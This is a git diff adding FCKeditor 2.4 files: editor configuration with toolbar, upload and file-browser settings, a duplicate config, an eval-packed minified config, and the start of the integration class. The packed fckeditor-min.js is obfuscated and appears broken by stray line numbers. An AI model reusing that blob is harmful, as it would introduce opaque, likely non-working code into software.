+FCKConfig.LinkBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.LinkBrowserWindowWidth       = FCKConfig.ScreenWidth * 0.7 ;         // 70%
+FCKConfig.LinkBrowserWindowHeight      = FCKConfig.ScreenHeight * 0.7 ;        // 70%
+
+FCKConfig.ImageBrowser = false ;
+FCKConfig.ImageBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Image&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.ImageBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;     // 70% ;
+FCKConfig.ImageBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;    // 70% ;
+
+FCKConfig.FlashBrowser = false ;
+FCKConfig.FlashBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Flash&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.FlashBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;     //70% ;
+FCKConfig.FlashBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;    //70% ;
+
+FCKConfig.LinkUpload = false ;
+FCKConfig.LinkUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage ;
+FCKConfig.LinkUploadAllowedExtensions  = "" ;                  // empty for all
+FCKConfig.LinkUploadDeniedExtensions   = ".(html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis)$" ;     // empty for no one
+
+FCKConfig.ImageUpload = false ;
+FCKConfig.ImageUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage + '?Type=Image' ;
+FCKConfig.ImageUploadAllowedExtensions = ".(jpg|gif|jpeg|png|bmp)$" ;          // empty for all
+FCKConfig.ImageUploadDeniedExtensions  = "" ;                                                  // empty for no one
+
+FCKConfig.FlashUpload = false ;
+FCKConfig.FlashUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage + '?Type=Flash' ;
+FCKConfig.FlashUploadAllowedExtensions = ".(swf|fla)$" ;               // empty for all
+FCKConfig.FlashUploadDeniedExtensions  = "" ;                                  // empty for no one
+
+FCKConfig.SmileyPath   = FCKConfig.BasePath + 'images/smiley/msn/' ;
+FCKConfig.SmileyImages = ['regular_smile.gif','sad_smile.gif','wink_smile.gif','teeth_smile.gif','confused_smile.gif','tounge_smile.gif','embaressed_smile.gif','omg_smile.gif','whatchutalkingabout_smile.gif','angry_smile.gif','angel_smile.gif','shades_smile.gif','devil_smile.gif','cry_smile.gif','lightbulb.gif','thumbs_down.gif','thumbs_up.gif','heart.gif','broken_heart.gif','kiss.gif','envelope.gif'] ;
+FCKConfig.SmileyColumns = 8 ;
+FCKConfig.SmileyWindowWidth            = 320 ;
+FCKConfig.SmileyWindowHeight   = 240 ;
diff --git a/fckeditor/fckconfig2.js b/fckeditor/fckconfig2.js
new file mode 100644 (file)
index 0000000..c360a2d
--- /dev/null
@@ -0,0 +1,220 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckconfig.js
+ *     Editor configuration settings.
+ *     
+ *     Follow this link for more information:
+ *     http://wiki.fckeditor.net/Developer%27s_Guide/Configuration/Configurations_Settings
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+// Disable the custom Enter Key Handler (this configuration will be removed in
+// version 2.5).
+FCKConfig.DisableEnterKeyHandler = false ;
+
+FCKConfig.CustomConfigurationsPath = '' ;
+
+FCKConfig.EditorAreaCSS = FCKConfig.BasePath + 'css/fck_editorarea.css' ;
+FCKConfig.ToolbarComboPreviewCSS = '' ;
+
+FCKConfig.DocType = '' ;
+
+FCKConfig.BaseHref = '' ;
+
+FCKConfig.FullPage = false ;
+
+FCKConfig.Debug = false ;
+FCKConfig.AllowQueryStringDebug = true ;
+
+FCKConfig.SkinPath = FCKConfig.BasePath + 'skins/default/' ;
+FCKConfig.PreloadImages = [ FCKConfig.SkinPath + 'images/toolbar.start.gif', FCKConfig.SkinPath + 'images/toolbar.buttonarrow.gif' ] ;
+
+FCKConfig.PluginsPath = FCKConfig.BasePath + 'plugins/' ;
+
+// FCKConfig.Plugins.Add( 'autogrow' ) ;
+FCKConfig.AutoGrowMax = 400 ;
+
+// FCKConfig.ProtectedSource.Add( /<%[\s\S]*?%>/g ) ;  // ASP style server side code <%...%>
+// FCKConfig.ProtectedSource.Add( /<\?[\s\S]*?\?>/g ) ;        // PHP style server side code
+// FCKConfig.ProtectedSource.Add( /(<asp:[^\>]+>[\s|\S]*?<\/asp:[^\>]+>)|(<asp:[^\>]+\/>)/gi ) ;       // ASP.Net style tags <asp:control>
+
+FCKConfig.AutoDetectLanguage   = false ;
+FCKConfig.DefaultLanguage              = 'en-min' ;
+FCKConfig.ContentLangDirection = 'ltr' ;
+
+FCKConfig.ProcessHTMLEntities  = true ;
+FCKConfig.IncludeLatinEntities = true ;
+FCKConfig.IncludeGreekEntities = true ;
+
+FCKConfig.ProcessNumericEntities = false ;
+
+FCKConfig.AdditionalNumericEntities = ''  ;            // Single Quote: "'"
+
+FCKConfig.FillEmptyBlocks      = true ;
+
+FCKConfig.FormatSource         = true ;
+FCKConfig.FormatOutput         = true ;
+FCKConfig.FormatIndentator     = '    ' ;
+
+FCKConfig.ForceStrongEm = true ;
+FCKConfig.GeckoUseSPAN = false ;
+FCKConfig.StartupFocus = false ;
+FCKConfig.ForcePasteAsPlainText        = false ;
+FCKConfig.AutoDetectPasteFromWord = true ;     // IE only.
+FCKConfig.ForceSimpleAmpersand = false ;
+FCKConfig.TabSpaces            = 0 ;
+FCKConfig.ShowBorders  = true ;
+FCKConfig.SourcePopup  = false ;
+FCKConfig.ToolbarStartExpanded = true ;
+FCKConfig.ToolbarCanCollapse   = true ;
+FCKConfig.IgnoreEmptyParagraphValue = true ;
+FCKConfig.PreserveSessionOnFileBrowser = false ;
+FCKConfig.FloatingPanelsZIndex = 10000 ;
+
+FCKConfig.TemplateReplaceAll = true ;
+FCKConfig.TemplateReplaceCheckbox = true ;
+
+FCKConfig.ToolbarLocation = 'In' ;
+FCKConfig.Plugins.Add('ImageManager');
+FCKConfig.ToolbarSets["Default"] = [
+       ['Source','-','TextColor','BGColor', 'Cut','Copy','Paste','PasteText','PasteWord','-', 'Undo','Redo','-','Find','Replace'],
+       '/',
+       ['Bold','Italic'],//,'StrikeThrough','-','Subscript','Superscript'],
+       ['OrderedList','UnorderedList','-','Outdent','Indent'],
+       ['JustifyLeft','JustifyCenter','JustifyRight','JustifyFull'],
+       ['Link','Unlink','RemoveFormat']
+       //['FontSize'],
+       //['TextColor','BGColor'],
+       //['FitWindow','-','About']
+] ;
+
+FCKConfig.ToolbarSets["Basic"] = [
+       ['Bold','Italic','-','OrderedList','UnorderedList','-','Link','Unlink','-','About']
+] ;
+
+FCKConfig.EnterMode = 'p' ;                    // p | div | br
+FCKConfig.ShiftEnterMode = 'br' ;      // p | div | br
+
+FCKConfig.Keystrokes = [
+       [ CTRL + 65 /*A*/, true ],
+       [ CTRL + 67 /*C*/, true ],
+       [ CTRL + 88 /*X*/, true ],
+       [ CTRL + 86 /*V*/, 'Paste' ],
+       [ SHIFT + 45 /*INS*/, 'Paste' ],
+       [ CTRL + 90 /*Z*/, 'Undo' ],
+       [ CTRL + 89 /*Y*/, 'Redo' ],
+       [ CTRL + SHIFT + 90 /*Z*/, 'Redo' ],
+       [ CTRL + 76 /*L*/, 'Link' ],
+       [ CTRL + 66 /*B*/, 'Bold' ],
+       [ CTRL + 73 /*I*/, 'Italic' ],
+       [ CTRL + ALT + 83 /*S*/, 'Save' ],
+       [ CTRL + ALT + 13 /*ENTER*/, 'FitWindow' ],
+       [ CTRL + 9 /*TAB*/, 'Source' ]
+] ;
+
+FCKConfig.ContextMenu = ['Generic','Link','Anchor','Flash','Select','Textarea','Checkbox','Radio','TextField','HiddenField','ImageButton','Button','BulletedList','NumberedList','Table','Form'] ;
+
+FCKConfig.FontColors = '000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,808080,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF' ;
+
+FCKConfig.FontNames            = 'Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
+FCKConfig.FontSizes            = '1/xx-small;2/x-small;3/small;4/medium;5/large;6/x-large;7/xx-large' ;
+FCKConfig.FontFormats  = 'p;div;pre;address;h1;h2;h3;h4;h5;h6' ;
+
+FCKConfig.StylesXmlPath                = FCKConfig.EditorPath + 'fckstyles.xml' ;
+FCKConfig.TemplatesXmlPath     = FCKConfig.EditorPath + 'fcktemplates.xml' ;
+
+FCKConfig.SpellChecker                 = 'ieSpell' ;   // 'ieSpell' | 'SpellerPages'
+FCKConfig.IeSpellDownloadUrl   = 'http://wcarchive.cdrom.com/pub/simtelnet/handheld/webbrow1/ieSpellSetup240428.exe' ;
+FCKConfig.SpellerPagesServerScript = 'server-scripts/spellchecker.php' ;       // Available extension: .php .cfm .pl
+
+FCKConfig.MaxUndoLevels = 15 ;
+
+FCKConfig.DisableObjectResizing = false ;
+FCKConfig.DisableFFTableHandles = true ;
+
+FCKConfig.LinkDlgHideTarget            = false ;
+FCKConfig.LinkDlgHideAdvanced  = true ;
+
+FCKConfig.ImageDlgHideLink             = false ;
+FCKConfig.ImageDlgHideAdvanced = true ;
+
+FCKConfig.FlashDlgHideAdvanced = true ;
+
+FCKConfig.ProtectedTags = '' ;
+
+// This will be applied to the body element of the editor
+FCKConfig.BodyId = '' ;
+FCKConfig.BodyClass = '' ;
+
+// The option switches between trying to keep the html structure or do the changes so the content looks like it was in Word
+FCKConfig.CleanWordKeepsStructure = false ;
+
+// The following value defines which File Browser connector and Quick Upload 
+// "uploader" to use. It is valid for the default implementaion and it is here
+// just to make this configuration file cleaner. 
+// It is not possible to change this value using an external file or even 
+// inline when creating the editor instance. In that cases you must set the 
+// values of LinkBrowserURL, ImageBrowserURL and so on.
+// Custom implementations should just ignore it.
+var _FileBrowserLanguage       = 'php' ;       // asp | aspx | cfm | lasso | perl | php | py
+var _QuickUploadLanguage       = 'php' ;       // asp | aspx | cfm | lasso | php
+
+// Don't care about the following line. It just calculates the correct connector 
+// extension to use for the default File Browser (Perl uses "cgi").
+var _FileBrowserExtension = _FileBrowserLanguage == 'perl' ? 'cgi' : _FileBrowserLanguage ;
+
+FCKConfig.LinkBrowser = false ;
+FCKConfig.LinkBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.LinkBrowserWindowWidth       = FCKConfig.ScreenWidth * 0.7 ;         // 70%
+FCKConfig.LinkBrowserWindowHeight      = FCKConfig.ScreenHeight * 0.7 ;        // 70%
+
+FCKConfig.ImageBrowser = false ;
+FCKConfig.ImageBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Image&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.ImageBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;     // 70% ;
+FCKConfig.ImageBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;    // 70% ;
+
+FCKConfig.FlashBrowser = false ;
+FCKConfig.FlashBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Flash&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.FlashBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;     //70% ;
+FCKConfig.FlashBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;    //70% ;
+
+FCKConfig.LinkUpload = false ;
+FCKConfig.LinkUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage ;
+FCKConfig.LinkUploadAllowedExtensions  = "" ;                  // empty for all
+FCKConfig.LinkUploadDeniedExtensions   = ".(html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis)$" ;     // empty for no one
+
+FCKConfig.ImageUpload = false ;
+FCKConfig.ImageUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage + '?Type=Image' ;
+FCKConfig.ImageUploadAllowedExtensions = ".(jpg|gif|jpeg|png|bmp)$" ;          // empty for all
+FCKConfig.ImageUploadDeniedExtensions  = "" ;                                                  // empty for no one
+
+FCKConfig.FlashUpload = false ;
+FCKConfig.FlashUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage + '?Type=Flash' ;
+FCKConfig.FlashUploadAllowedExtensions = ".(swf|fla)$" ;               // empty for all
+FCKConfig.FlashUploadDeniedExtensions  = "" ;                                  // empty for no one
+
+FCKConfig.SmileyPath   = FCKConfig.BasePath + 'images/smiley/msn/' ;
+FCKConfig.SmileyImages = ['regular_smile.gif','sad_smile.gif','wink_smile.gif','teeth_smile.gif','confused_smile.gif','tounge_smile.gif','embaressed_smile.gif','omg_smile.gif','whatchutalkingabout_smile.gif','angry_smile.gif','angel_smile.gif','shades_smile.gif','devil_smile.gif','cry_smile.gif','lightbulb.gif','thumbs_down.gif','thumbs_up.gif','heart.gif','broken_heart.gif','kiss.gif','envelope.gif'] ;
+FCKConfig.SmileyColumns = 8 ;
+FCKConfig.SmileyWindowWidth            = 320 ;
+FCKConfig.SmileyWindowHeight   = 240 ;
diff --git a/fckeditor/fckeditor-min.js b/fckeditor/fckeditor-min.js
new file mode 100644 (file)
index 0000000..4ed4d8f
--- /dev/null
@@ -0,0 +1,2 @@
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('30 31 32 6i.6j=d;34 8D.8E=\'\';36 2x.2p=c.f+\'M/2m.M\';2q.2y=\'\';39 1D.1C=\'\';41 2i.2j=\'\';43 8G.1p=d;45 1y.18=d;25.17=b;48 1i.u=c.f+\'28/m/\';19.4r=[c.u+\'w/R.29.a\',c.u+\'w/R.4k.a\'];51 1a.14=c.f+\'4m/\';53 54 12.2b=16;56 57 58 59 60 8C.8B=b;8A.8z=\'8y\';4f.8w=\'8v\';64 4d.8s=b;4c.8q=b;4b.8o=b;68 8m.49=d;70 8j.8i=\'\';72 8g.8f=b;74 8d.8c=b;8b.8a=b;3Z.84=\' \';78 81.80=b;7Z.7Y=d;7X.7W=d;7V.7U=d;1Z.1f=b;7R.7Q=d;7P.7O=0;7N.7M=b;7L.3P=d;7J.7I=b;7H.3N=b;7F.7E=b;7D.7C=d;7B.7A=7z;7y 7x.7w=b;7v.3H=b;7t 7s.7r=\'7q\';7p.7o.7n(\'3D\');7l.P["7k"]=[7j[\'K\',\'-\'],7i[\'7h\',\'7g\',\'E\',\'7f\',\'3z\',\'-\'],7d[\'W\',\'F\',\'-\',\'7c\',\'7b\',\'-\',\'7a\'],79 77\'/\',3v[\'A\',\'t\',\'V\'],1N[\'S\',\'J\',\'-\',\'6Z\',\'6Y\'],6X[\'6W\',\'6V\',\'6U\',\'3r\'],1L[\'o\',\'O\']6R 6Q 6P 6O 6N 6M];6L 3n.P["6I"]=[6H[\'A\',\'t\',\'-\',\'S\',\'J\',\'-\',\'o\',\'O\',\'-\',\'6D\']6C];6B 6A.6z=\'p\';6y.6x=\'6w\';6v 6u.6t=[6s[e+65,b],6q[e+67,b],6o[e+88,b],6m[e+86,\'E\'],6k[11+45,\'E\'],6h[e+H,\'W\'],6f[e+89,\'F\'],6d[e+11+H,\'F\'],69[e+76,\'o\'],62[e+66,\'A\'],5Y[e+73,\'t\'],5V[e+85,\'V\'],5S[e+I+83,\'5Q\'],5P[e+I+13,\'2Q\'],5L[e+9,\'K\']5H];5G 5F.5E=[\'5D\',\'o\',\'5B\',\'s\',\'5A\',\'5z\',\'5y\',\'5x\',\'5w\',\'5v\',\'2H\',\'5t\',\'5s\',\'5r\',\'5q\',\'5p\'];5o 3T.4j=\'5l,5k,5j,5i,5h,5g,5f,4y,5d,5c,5b,L,5a,55,52,L,4Z,4Y,4X,4W,4V,4U,4T,4O,4P,50,5e,5n,5u,5J,5K,5O,5T,6a,6b,6T,6g,71,8F,6J\';6K 75.2h=\'1E;7G 2z 87;8p 10;1d;4s 10 4q;4p\';2a.4n=\'1/Z-C;2/x-C;3/C;4/4h;5/G;6/x-G;7/Z-G\';26.8n=\'p;8k;8h;44;8e;40;22;82;3X;3W\';3V 3U.1g=c.X+\'3S.Y\';3R.3Q=c.X+\'3O.Y\';3M 3L.3K=\'3J\';3I.1T=\'3G://3F.3E.N/1R/3C/3B/3A/1P.Q\';3y.3x=\'3w-1r/3u.q\';3t 3s.1t=15;3p 3o.1J=d;3m.3l=b;3k 3j.3i=d;3h.3g=b;3f 3e.6r=d;6p.6n=b;6l 38.37=b;33 2Z.63=\'\';2X 2W 5X.5U=\'\';2T.5R=\'\';2R 5N 2P.2O=d;2N 2M 2L 2K 2J 2I 2B 2D 2E h=\'q\';2G g=\'q\';4l 4u 4v 4x n=h==\'4z\'?\'T\':h;4B 4C.4E=d;4F.4K=c.f+\'k/i/m/i.l?B=z/\'+h+\'/D.\'+n;4L.4N=c.y*0.7;4Q.5m=c.v*0.7;5C 5M.5W=d;6c.8x=c.f+\'k/i/m/i.l?r=U&B=z/\'+h+\'/D.\'+n;6F.6S=c.y*0.7;7e.7u=c.v*0.7;7T 8r.2e=d;2d.4o=c.f+\'k/i/m/i.l?r=s&B=z/\'+h+\'/D.\'+n;46.42=c.y*0.7;3Y.20=c.v*0.7;1W 1V.1U=d;1m.1S=c.f+\'k/j/\'+g+\'/j.\'+g;1n.1Q="";1q.1O=".(l|1M|q|3q|1u|1I|1H|1G|1F|3d|3b|2f|35|2k|2l|2V|2U|2S|Q|N|2v|2A|2C|2F|T|4w|4A)$";4D 4G.4M=d;4R.5I=c.f+\'k/j/\'+g+\'/j.\'+g+\'?r=U\';6e.6E=".(7K|a|8t|1c|2c)$";4i.4e="";4a 23.21=d;1X.1k=c.f+\'k/j/\'+g+\'/j.\'+g+\'?r=s\';1K.1z=".(1A|3c)$";2g.2Y="";2o 2s.2u=c.f+\'w/4H/4S/\';5Z.6G=[\'8l.a\',\'1b.a\',\'27.a\',\'47.a\',\'1e.a\',\'1Y.a\',\'1o.a\',\'1s.a\',\'1v.a\',\'1B.a\',\'3a.a\',\'2n.a\',\'2w.a\',\'4t.a\',\'4I.a\',\'61.a\',\'8u.a\',\'4g.a\',\'1h.a\',\'1j.a\',\'1w.a\'];2r.4J=8;24.1x=2t;7m.1l=7S;',62,539,'||||||||||gif|true|FCKConfig|false|CTRL|BasePath|_QuickUploadLanguage|_FileBrowserLanguage|browser|upload|filemanager|html|default|_FileBrowserExtension|Link||php|Type|Flash|Italic|SkinPath|ScreenHeight|images||ScreenWidth|connectors|Bold|Connector|small|connector|Paste|Redo|large|90|ALT|UnorderedList|Source|808080|css|com|Unlink|ToolbarSets|exe|toolbar|OrderedList|cgi|Image|Underline|Undo|EditorPath|xml|xx|New|SHIFT|55FCKConfig||PluginsPath||400|AllowQueryStringDebug|Debug|50FCKConfig|52FCKConfig|sad_smile|png|Tahoma|confused_smile|AutoDetectPasteFromWord|StylesXmlPath|broken_heart|49FCKConfig|kiss|FlashUploadURL|SmileyWindowHeight|208FCKConfig|209FCKConfig|embaressed_smile|FullPage|210FCKConfig|scripts|omg_smile|MaxUndoLevels|php3|whatchutalkingabout_smile|envelope|SmileyWindowWidth|46FCKConfig|FlashUploadAllowedExtensions|swf|angry_smile|DocType|40FCKConfig|Arial|pwml|phtml|php5|php4|DisableObjectResizing|219FCKConfig|108|htm|106|LinkUploadDeniedExtensions|ieSpellSetup240428|LinkUploadAllowedExtensions|pub|LinkUploadURL|IeSpellDownloadUrl|LinkUpload|207FCKConfig|206|218FCKConfig|tounge_smile|83FCKConfig|FlashBrowserWindowHeight|FlashUpload|h3|217FCKConfig|225FCKConfig|47FCKConfig|147FCKConfig|wink_smile|skins|start|146FCKConfig|AutoGrowMax|bmp|203FCKConfig|FlashBrowser|aspx|220FCKConfig|FontNames|42FCKConfig|BaseHref|jsp|cfm|fck_editorarea|shades_smile|221|EditorAreaCSS|38FCKConfig|224FCKConfig|222FCKConfig|320|SmileyPath|dll|devil_smile|37FCKConfig|ToolbarComboPreviewCSS|Sans|vbs|183|js|184|185var|reg|186var|ImageButton|182|181|180|179|178|177|CleanWordKeepsStructure|176FCKConfig|FitWindow|174|bat|173FCKConfig|pl|cfc|171|170|FlashUploadDeniedExtensions|169FCKConfig||||168||ascx||FlashDlgHideAdvanced|167FCKConfig||angel_smile|asp|fla|inc|164FCKConfig|163|LinkDlgHideAdvanced|162FCKConfig|LinkDlgHideTarget|161FCKConfig|160|DisableFFTableHandles|159FCKConfig|116FCKConfig|158FCKConfig|157|php2|JustifyFull|156FCKConfig|155|spellchecker|105|server|SpellerPagesServerScript|154FCKConfig|PasteWord|webbrow1|handheld|simtelnet|ImageManager|cdrom|wcarchive|http|TemplateReplaceCheckbox|153FCKConfig|ieSpell|SpellChecker|152FCKConfig|151|ToolbarCanCollapse|fcktemplates|SourcePopup|TemplatesXmlPath|150FCKConfig|fckstyles|143FCKConfig|149FCKConfig|148|h6|h5|205FCKConfig|77FCKConfig|h2||FlashBrowserWindowWidth||address||204FCKConfig|teeth_smile||ProcessNumericEntities|216|67FCKConfig|66FCKConfig|65FCKConfig|ImageUploadDeniedExtensions|63FCKConfig|heart|medium|215FCKConfig|FontColors|buttonarrow|187|plugins|FontSizes|FlashBrowserURL|Verdana|Roman|PreloadImages|Times|cry_smile|188|189|htaccess|190var|333333|perl|asis|191|192FCKConfig|211|LinkBrowser|193FCKConfig|212FCKConfig|smiley|lightbulb|SmileyColumns|LinkBrowserURL|194FCKConfig|ImageUpload|LinkBrowserWindowWidth|999999|FF00FF|195FCKConfig|213FCKConfig|msn|800080|3366FF|33CCCC|339966|99CC00|FF9900|FF0000|FFCC00||666699|||0000FF|||||008080|808000|FF6600|800000|FFFF00|333399|000080|003366|003300|333300|993300|000000|LinkBrowserWindowHeight|00FF00|142|Form|Table|NumberedList|BulletedList|Button|00FFFF|HiddenField|TextField|Radio|Checkbox|Textarea|Select|Anchor|196|Generic|ContextMenu|141FCKConfig|140|139|ImageUploadURL|00CCFF|993366|138|197FCKConfig|175|C0C0C0|137|Save|BodyClass|136|FF99CC|BodyId|135|ImageBrowser|172FCKConfig|134|223FCKConfig||thumbs_down|133|ProtectedTags||||||132|FFCC99|FFFF99|198FCKConfig|131|214FCKConfig|130|CCFFFF|129|33FCKConfig|DisableEnterKeyHandler|128|166|127|ImageDlgHideAdvanced|126|165FCKConfig|125|ImageDlgHideLink|124|Keystrokes|123FCKConfig|122|br|ShiftEnterMode|121FCKConfig|EnterMode|120FCKConfig|119|118|About|ImageUploadAllowedExtensions|199FCKConfig|SmileyImages|117|Basic|FFFFFF|144|115|114|113|112|111|110|109|ImageBrowserWindowWidth|CCFFCC|JustifyRight|JustifyCenter|JustifyLeft|107|Indent|Outdent||99CCFF||||145FCKConfig||104||103|RemoveFormat|Replace|Find|102|200FCKConfig|PasteText|Copy|Cut|101|100|Default|99FCKConfig|226FCKConfig|Add|Plugins|98FCKConfig|In|ToolbarLocation|97FCKConfig|96|ImageBrowserWindowHeight|95FCKConfig|TemplateReplaceAll|94FCKConfig|93|10000|FloatingPanelsZIndex|92FCKConfig|PreserveSessionOnFileBrowser|91FCKConfig|IgnoreEmptyParagraphValue|90FCKConfig|Comic|89FCKConfig|ToolbarStartExpanded|88FCKConfig|jpg|87FCKConfig|ShowBorders|86FCKConfig|TabSpaces|85FCKConfig|ForceSimpleAmpersand|84FCKConfig|240|201|ForcePasteAsPlainText|82FCKConfig|StartupFocus|81FCKConfig|GeckoUseSPAN|80FCKConfig|ForceStrongEm|79FCKConfig|h4||FormatIndentator|||MS|||FormatOutput|76FCKConfig|FormatSource|75FCKConfig|h1|FillEmptyBlocks|73FCKConfig|pre|AdditionalNumericEntities|71FCKConfig|div|regular_smile|69FCKConfig|FontFormats|IncludeGreekEntities|Courier|IncludeLatinEntities|202FCKConfig|ProcessHTMLEntities|jpeg|thumbs_up|ltr|ContentLangDirection|ImageBrowserURL|en|DefaultLanguage|62FCKConfig|AutoDetectLanguage|61FCKConfig|35FCKConfig|CustomConfigurationsPath|CC99FF|44FCKConfig'.split('|'),0,{}))
+
diff --git a/fckeditor/fckeditor.js b/fckeditor/fckeditor.js
new file mode 100755 (executable)
index 0000000..1e08cda
--- /dev/null
@@ -0,0 +1,218 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.js
+ *     This is the integration file for JavaScript.
+ * 
+ *     It defines the FCKeditor class that can be used to create editor
+ *     instances in a HTML page in the client side. For server side
+ *     operations, use the specific integration system.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+// FCKeditor Class
+var FCKeditor = function( instanceName, width, height, toolbarSet, value )
+{
+       // Properties
+       this.InstanceName       = instanceName ;
+       this.Width                      = width                 || '100%' ;
+       this.Height                     = height                || '200' ;
+       this.ToolbarSet         = toolbarSet    || 'Default' ;
+       this.Value                      = value                 || '' ;
+       this.BasePath           = '/fckeditor/' ;
+       this.CheckBrowser       = true ;
+       this.DisplayErrors      = true ;
+       this.EnableSafari       = false ;               // This is a temporary property, while Safari support is under development.
+       this.EnableOpera        = false ;               // This is a temporary property, while Opera support is under development.
+
+       this.Config                     = new Object() ;
+
+       // Events
+       this.OnError            = null ;        // function( source, errorNumber, errorDescription )
+}
+
+FCKeditor.prototype.Version                    = '2.4' ;
+FCKeditor.prototype.VersionBuild       = '1148' ;
+
+FCKeditor.prototype.Create = function()
+{
+       document.write( this.CreateHtml() ) ;
+}
+
+FCKeditor.prototype.CreateHtml = function()
+{
+       // Check for errors
+       if ( !this.InstanceName || this.InstanceName.length == 0 )
+       {
+               this._ThrowError( 701, 'You must specify an instance name.' ) ;
+               return '' ;
+       }
+
+       var sHtml = '<div>' ;
+
+       if ( !this.CheckBrowser || this._IsCompatibleBrowser() )
+       {
+               sHtml += '<input type="hidden" id="' + this.InstanceName + '" name="' + this.InstanceName + '" value="' + this._HTMLEncode( this.Value ) + '" style="display:none" />' ;
+               sHtml += this._GetConfigHtml() ;
+               sHtml += this._GetIFrameHtml() ;
+       }
+       else
+       {
+               var sWidth  = this.Width.toString().indexOf('%')  > 0 ? this.Width  : this.Width  + 'px' ;
+               var sHeight = this.Height.toString().indexOf('%') > 0 ? this.Height : this.Height + 'px' ;
+               sHtml += '<textarea name="' + this.InstanceName + '" rows="4" cols="40" style="width:' + sWidth + ';height:' + sHeight + '">' + this._HTMLEncode( this.Value ) + '<\/textarea>' ;
+       }
+
+       sHtml += '</div>' ;
+       
+       return sHtml ;
+}
+
+FCKeditor.prototype.ReplaceTextarea = function()
+{
+       if ( !this.CheckBrowser || this._IsCompatibleBrowser() )
+       {
+               // We must check the elements firstly using the Id and then the name.
+               var oTextarea = document.getElementById( this.InstanceName ) ;
+               var colElementsByName = document.getElementsByName( this.InstanceName ) ;
+               var i = 0;
+               while ( oTextarea || i == 0 )
+               {
+                       if ( oTextarea && oTextarea.tagName.toLowerCase() == 'textarea' )
+                               break ;
+                       oTextarea = colElementsByName[i++] ;
+               }
+               
+               if ( !oTextarea )
+               {
+                       alert( 'Error: The TEXTAREA with id or name set to "' + this.InstanceName + '" was not found' ) ;
+                       return ;
+               }
+
